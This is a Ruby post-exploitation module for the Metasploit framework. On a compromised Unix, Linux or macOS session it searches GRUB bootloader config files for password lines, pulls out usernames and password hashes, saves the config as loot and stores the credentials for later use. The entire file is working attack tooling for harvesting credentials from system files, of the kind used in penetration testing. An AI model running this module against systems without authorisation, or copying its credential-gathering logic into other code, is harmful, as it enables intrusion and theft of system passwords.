##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gather GRUB Password',
        'Description' => %q{
          This module gathers GRUB passwords from GRUB bootloader config files.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Garvit Dewan <d.garvit[at]gmail.com>', # @dgarvit
          'Taeber Rapczak <taeber[at]rapczak.com>',
          'Shelby Pace'
        ],
        'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],
        'SessionTypes' => ['meterpreter', 'shell'],
        'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ]
      )
    )

    register_options(
      [
        OptString.new(
          'FILENAME',
          [false, 'Additional grub configuration filename.', '']
        ),
      ]
    )
  end

  def parse_passwd_from_file(file)
    return unless readable?(file)

    print_status("Reading #{file}")

    idx = 0
    contents = read_file(file)
    have_pass = false
    contents.each_line do |line|
      next unless line.start_with?('password')

      have_pass = true
      pass_line = line.strip.split(' ')
      unless pass_line.length == 3
        print_status('Unknown Grub password convention. Printing line')
        print_status(line)
        next
      end

      convention = pass_line[0]
      case convention
      when 'password_pbkdf2'
        @creds_hash[pass_line[1]] = pass_line[2]
      when 'password'
        if pass_line[1].start_with?('--')
          @pass_hash[idx] = pass_line[2]
          idx += 1
        else
          @creds_hash[pass_line[1]] = pass_line[2]
        end
      else
        print_status('Unknown Grub password convention. Printing line')
        print_status(line)
      end
    end

    if have_pass
      file_loc = store_loot('grub.config', 'text/plain', session, contents)
      print_good("#{file} saved to #{file_loc}")
    end
  end

  def run
    @creds_hash = Hash.new
    @pass_hash = Hash.new

    targets = %w[
      /boot/grub/grub.conf
      /boot/grub/grub.cfg
      /boot/grub/menu.lst
      /boot/grub2/grub.cfg
      /boot/grub2/user.cfg
      /etc/grub.conf
      /etc/grub/grub.cfg
      /mnt/sysimage/boot/grub.conf
      /mnt/boot/grub/grub.conf
      /rpool/boot/grub/grub.cfg
    ]

    targets << datastore['FILENAME'] unless datastore['FILENAME'].empty?
    dir('/etc/grub.d').each do |file|
      path = '/etc/grub.d/' + file
      targets << path if file?(path)
    end

    print_status('Searching for GRUB config files..')
    targets.each do |target|
      parse_passwd_from_file(target)
    end

    if @creds_hash.empty? && @pass_hash.empty?
      print_bad('No passwords found in GRUB config files')
    else
      print_good('Found credentials')

      cred_table = Rex::Text::Table.new(
        'Header' => 'Grub Credential Table',
        'Indent' => 1,
        'Columns' => [ 'Username', 'Password' ]
      )

      @creds_hash.each do |user, pass|
        credential_data = {
          origin_type: :session,
          post_reference_name: refname,
          private_type: :nonreplayable_hash,
          private_data: pass,
          session_id: session_db_id,
          username: user,
          workspace_id: myworkspace_id
        }

        cred_table << [ user, pass ]
        create_credential(credential_data)
      end

      @pass_hash.each do |_index, pass|
        credential_data = {
          origin_type: :session,
          post_reference_name: refname,
          private_type: :nonreplayable_hash,
          private_data: pass,
          session_id: session_db_id,
          username: '',
          workspace_id: myworkspace_id
        }

        cred_table << [ '', pass ]
        create_credential(credential_data)
      end

      print_line
      print_line(cred_table.to_s)
    end
  end
end
